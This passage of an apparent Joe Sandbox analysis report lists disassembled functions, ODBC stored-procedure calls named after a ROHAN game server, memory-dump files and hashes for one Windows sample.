                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileName$CreateCriticalInitializeLocalNodeNode::PointerSectionTime_wctomb_s
                                                                                                                            • String ID: I5A
                                                                                                                            • API String ID: 1786042727-601939181
                                                                                                                            • Opcode ID: 0d4160af81243f8e38d7b78cc41e9973541634919843a1f5a881ce815717fc9d
                                                                                                                            • Instruction ID: 6459f5966529ec999e91157ad3e91413fdf8c599e59bdaad90443c554f38a02d
                                                                                                                            • Opcode Fuzzy Hash: 0d4160af81243f8e38d7b78cc41e9973541634919843a1f5a881ce815717fc9d
                                                                                                                            • Instruction Fuzzy Hash: 3F31A2B5A002188BCB25DF15C991BD9B7B1AF48304F0041DDE91D6B361DB74AE84CF95
                                                                                                                            Function 00469790 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • __time64.LIBCMT ref: 004697DF
                                                                                                                              • Part of subcall function 0048074F: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004697E4,00000000), ref: 00480758
                                                                                                                              • Part of subcall function 0048074F: __aulldiv.LIBCMT ref: 00480778
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                            • String ID: %Y-%m-%d %H:%M:%S$[%s]%s
                                                                                                                            • API String ID: 2893107130-20178558
                                                                                                                            • Opcode ID: 0d976ccb33002d83aab96523f2461802e8d62f78df8a857770c21526fd24636a
                                                                                                                            • Instruction ID: 48661f206ff417348016d472ab7b6a348d9aea7850fdaacb0d04504a642edf1a
                                                                                                                            • Opcode Fuzzy Hash: 0d976ccb33002d83aab96523f2461802e8d62f78df8a857770c21526fd24636a
                                                                                                                            • Instruction Fuzzy Hash: F2214974D00248ABDB24DF55C841BEAB3B4AB48304F0084EEE44D97241E7B8AFC4DF99
                                                                                                                            Function 0043E3F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SetRevengeRank]},000000FD), ref: 0043E417
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E456
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SetRevengeRank]}, xrefs: 0043E40E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SetRevengeRank]}
                                                                                                                            • API String ID: 0-3442329064
                                                                                                                            • Opcode ID: c5589abd2dbfa94837620d1bf892307cd70d982fb89eca9164957f4ebe71c2ff
                                                                                                                            • Instruction ID: 27fba5df791befbb2cc680f14568ea0525a455b420db8c71609fcc316ab4d79a
                                                                                                                            • Opcode Fuzzy Hash: c5589abd2dbfa94837620d1bf892307cd70d982fb89eca9164957f4ebe71c2ff
                                                                                                                            • Instruction Fuzzy Hash: 18F030B5E44218ABEF29CF44CC82FEA7374EB58715F108289F7186B2C0D6F56D908B48
                                                                                                                            Function 00440605 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelIndunRestrictInfo2]},000000FD), ref: 00440625
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00440664
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelIndunRestrictInfo2]}, xrefs: 0044061C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelIndunRestrictInfo2]}
                                                                                                                            • API String ID: 0-3221934154
                                                                                                                            • Opcode ID: 20855343de9aac3f81e9e7d2e44dc4c3a3377d2a39f213209ca8de91f4b05dd1
                                                                                                                            • Instruction ID: 97b5e04f4ea5f6813bb58fed8d7f8ac9ee3361376f13991c64ba923f5330ce66
                                                                                                                            • Opcode Fuzzy Hash: 20855343de9aac3f81e9e7d2e44dc4c3a3377d2a39f213209ca8de91f4b05dd1
                                                                                                                            • Instruction Fuzzy Hash: 62F012B5A45218ABDB20CF44CC41FEA7374FF44714F508289F618AA2C4D675AD60CF8D
                                                                                                                            Function 0043D84D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMercenaryRank]},000000FD), ref: 0043D86D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043D8AC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMercenaryRank]}, xrefs: 0043D864
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMercenaryRank]}
                                                                                                                            • API String ID: 0-3944135852
                                                                                                                            • Opcode ID: 44979cf419997a23fd7d2f9b813ea63d5fade232e2bbf99b100f121c2b4f17ec
                                                                                                                            • Instruction ID: d7149ccc0c77ea909ecb74ff8d50d19d34b3c83df535ebb3316859b959577c29
                                                                                                                            • Opcode Fuzzy Hash: 44979cf419997a23fd7d2f9b813ea63d5fade232e2bbf99b100f121c2b4f17ec
                                                                                                                            • Instruction Fuzzy Hash: 4DF09CB0A48259A7EB20CF04CC01FDA7370FB44714F108289F6945A2C4C7F56D809F58
                                                                                                                            Function 00434902 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_StartNGuildWar]},000000FD), ref: 00434922
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00434961
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_StartNGuildWar]}, xrefs: 00434919
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_StartNGuildWar]}
                                                                                                                            • API String ID: 0-1479261631
                                                                                                                            • Opcode ID: 1fc40f7ed8cbb2b59514cc3389fcec40121c342f2686c8c7ed4c9ade617154eb
                                                                                                                            • Instruction ID: 96e459aaa06f11ed12d519b7c9c3a980de31973a2a38d0aebc5adf5726672250
                                                                                                                            • Opcode Fuzzy Hash: 1fc40f7ed8cbb2b59514cc3389fcec40121c342f2686c8c7ed4c9ade617154eb
                                                                                                                            • Instruction Fuzzy Hash: 1AF0FFB1B44318BFEB10CF44CC42F9A7374EB46724F104289F6546A6C0D7756950CF5A
                                                                                                                            Function 0043FA0E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DeleteMailReset]},000000FD), ref: 0043FA2E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043FA6D
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DeleteMailReset]}, xrefs: 0043FA25
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DeleteMailReset]}
                                                                                                                            • API String ID: 0-1769043751
                                                                                                                            • Opcode ID: 66b28af3914b8df7665b6f0b2eb389c222fe2593b4ffa34071f8ec2059301532
                                                                                                                            • Instruction ID: c9392bd8176c8c5517fd232f8b58d51b36448f14b7c07223bcc9c0b5178e8bdb
                                                                                                                            • Opcode Fuzzy Hash: 66b28af3914b8df7665b6f0b2eb389c222fe2593b4ffa34071f8ec2059301532
                                                                                                                            • Instruction Fuzzy Hash: D3F0FFB5A40219ABEB14CF44CC42FE97374EB44755F108289F724AA2C1D67569509B48
                                                                                                                            Function 00435021 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetNGuildWarWin]},000000FD), ref: 00435038
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435077
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetNGuildWarWin]}, xrefs: 0043502F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
